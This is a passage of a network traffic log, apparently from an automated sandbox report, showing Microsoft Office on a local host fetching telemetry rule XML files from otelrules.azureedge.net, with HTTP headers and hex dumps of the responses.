2024-10-07 19:53:25 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49914	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: f076ebb2-f01e-001f-3766-175dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd482lxwq1dp2t1zwkc00000003t0000000002tws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49915	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08bf7a15-f01e-0020-7706-17956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd48xlwdx82gahegw40000000041000000000zy5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49916	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 7d21ea5d-701e-0098-0502-17395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd482krtfgrg72dfbtn00000003mg00000000s5cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49919	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: a18d9b1d-601e-0002-1f03-17a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd48jwrqbupe3ktsx9w000000042g00000000tg9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49917	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 77012b0e-b01e-0097-0bff-164f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd4824mj9d6vp65b6n4000000043000000000r3vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49918	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b6fa471e-401e-0067-43e5-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd48t66tjar5xuq22r800000003vg00000000rsn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49920	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:25 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:25 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: d4fd285a-d01e-005a-06ed-167fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195325Z-1657d5bbd48dfrdj7px744zp8s00000003r000000000b9ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:25 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49921	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:26 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6d2b2f65-e01e-0099-735a-17da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195326Z-1657d5bbd48sqtlf1huhzuwq7000000003ng00000000n82b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49923	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:26 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:26 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 635e2ff4-801e-0035-1973-17752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195326Z-1657d5bbd48t66tjar5xuq22r8000000040g000000001vby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49924	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:26 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:26 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 838d785c-001e-0014-24fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195326Z-1657d5bbd482lxwq1dp2t1zwkc00000003mg00000000vhhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:26 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49922	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:26 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:26 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: c9f5ea47-201e-0071-33fe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195326Z-1657d5bbd48dfrdj7px744zp8s00000003mg00000000vh01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 